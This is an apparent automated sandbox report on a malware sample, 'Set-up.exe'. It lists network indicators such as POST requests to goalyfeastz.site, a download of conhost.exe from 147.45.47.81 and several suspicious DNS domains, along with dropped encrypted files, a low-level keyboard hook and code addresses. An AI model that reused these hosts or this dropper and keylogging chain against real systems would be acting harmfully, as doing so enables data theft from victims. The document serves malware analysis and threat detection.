ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39

Source: Joe Sandbox View

IP Address: 147.45.47.81 147.45.47.81

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 85Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12865Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15111Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19969Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7140Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7108Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1225Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1141Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 120Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 147.45.47.81

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

33_2_00E41280

Source: global traffic

HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 147.45.47.81

Source: global traffic	DNS traffic detected: DNS query: IPhwvmMSERoGGfvkQaPBYqP.IPhwvmMSERoGGfvkQaPBYqP
Source: global traffic	DNS traffic detected: DNS query: servicedny.site
Source: global traffic	DNS traffic detected: DNS query: seallysl.site
Source: global traffic	DNS traffic detected: DNS query: opposezmny.site
Source: global traffic	DNS traffic detected: DNS query: goalyfeastz.site

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: goalyfeastz.site

Source: Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Set-up.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Installer.exe.31.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Set-up.exe, 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmp, Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: Installer.exe.31.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA2.crl0t
Source: Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Set-up.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Set-up.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: Installer.exe.31.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA2.crt0#
Source: Installer.exe, Installer.exe, 00000021.00000002.4017846079.0000000000E54000.00000002.00000001.01000000.0000000A.sdmp, Installer.exe, 00000021.00000000.3736123442.0000000000E54000.00000002.00000001.01000000.0000000A.sdmp, Installer.exe.31.dr	String found in binary or memory: http://joxi.net/4Ak49WQH0GE3Nr.mp3
Source: Installer.exe, 00000021.00000002.4017846079.0000000000E54000.00000002.00000001.01000000.0000000A.sdmp, Installer.exe, 00000021.00000000.3736123442.0000000000E54000.00000002.00000001.01000000.0000000A.sdmp, Installer.exe.31.dr	String found in binary or memory: http://joxi.net/4Ak49WQH0GE3Nr.mp3openSizeofResourcegfDASrtdstyfewrtydwyu3467YdesauydgewyuyVirtualPr
Source: Set-up.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Installer.exe.31.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: Set-up.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Installer.exe.31.dr, X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Set-up.exe, 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmp, Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: X0JA3EDV7BU5B3IH21ST0OE852AR.exe, 00000010.00000000.3684789428.0000000000423000.00000002.00000001.01000000.00000007.sdmp, X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Limitations.pif, 0000000B.00000000.2200334216.0000000000659000.00000002.00000001.01000000.00000006.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Set-up.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Installer.exe.31.dr, X0JA3EDV7BU5B3IH21ST0OE852AR.exe.11.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Limitations.pif.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, Amazing.0.dr, Limitations.pif.2.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.145.203:443 -> 192.168.2.6:49994 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Code function: 16_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

16_2_00408DBB

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\Towers entropy: 7.99699264125	Jump to dropped file
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\Lil entropy: 7.99739487213	Jump to dropped file
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\Based entropy: 7.99741371865	Jump to dropped file
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\Labeled entropy: 7.99788385838	Jump to dropped file
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\Current entropy: 7.99773050006	Jump to dropped file
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\Endless entropy: 7.99802418462	Jump to dropped file
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\Warren entropy: 7.99769995894	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\506033\W entropy: 7.99963669576	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File created: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe entropy: 7.99025994987	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	File created: C:\Users\user\AppData\Local\Temp\main\file.bin entropy: 7.99990891734	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\main\file.zip (copy) entropy: 7.99990891734	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_11.zip entropy: 7.99835792426	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_10.zip entropy: 7.9981501316	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_9.zip entropy: 7.99813249146	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_8.zip entropy: 7.99813033813	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip entropy: 7.9981238731	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip entropy: 7.99811336541	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip entropy: 7.99815544419	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip entropy: 7.99815706988	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip entropy: 7.99815492083	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip entropy: 7.99814592157	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip entropy: 7.99813308988	Jump to dropped file

System Summary

Drops password protected ZIP file

Source: file.bin.16.dr

Zip Entry: encrypted

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 20_2_001196AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,

20_2_001196AC

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

0_2_00403883

Source: C:\Users\user\Desktop\Set-up.exe

File created: C:\Windows\TestedJanuary

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_00405BFC	16_2_00405BFC
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040B0E0	16_2_0040B0E0
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040B0E4	16_2_0040B0E4
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_00419973	16_2_00419973
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040A900	16_2_0040A900
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040A270	16_2_0040A270
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040AC20	16_2_0040AC20
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_00409C20	16_2_00409C20
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040D480	16_2_0040D480
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040ED00	16_2_0040ED00
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_00409DD0	16_2_00409DD0
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_00419601	16_2_00419601
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_004196DB	16_2_004196DB
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_00418F40	16_2_00418F40
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0013F13E	20_2_0013F13E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00135458	20_2_00135458
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_001324C0	20_2_001324C0
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_001347AC	20_2_001347AC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00158817	20_2_00158817
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00120DCC	20_2_00120DCC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0011B114	20_2_0011B114
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0011F1B4	20_2_0011F1B4
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0012C278	20_2_0012C278
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00153528	20_2_00153528
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00142578	20_2_00142578
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0014066E	20_2_0014066E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0013D66C	20_2_0013D66C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0012D858	20_2_0012D858
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0013694C	20_2_0013694C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_001499B8	20_2_001499B8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_001549A5	20_2_001549A5
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_001479DC	20_2_001479DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0014FA0C	20_2_0014FA0C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0015DA30	20_2_0015DA30
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0015DC11	20_2_0015DC11
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00127C68	20_2_00127C68
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00128CA8	20_2_00128CA8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0015DD00	20_2_0015DD00
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00136E08	20_2_00136E08
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00118F18	20_2_00118F18
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0012AF58	20_2_0012AF58
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E41280	33_2_00E41280
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E5122C	33_2_00E5122C
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E5134C	33_2_00E5134C
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E41349	33_2_00E41349
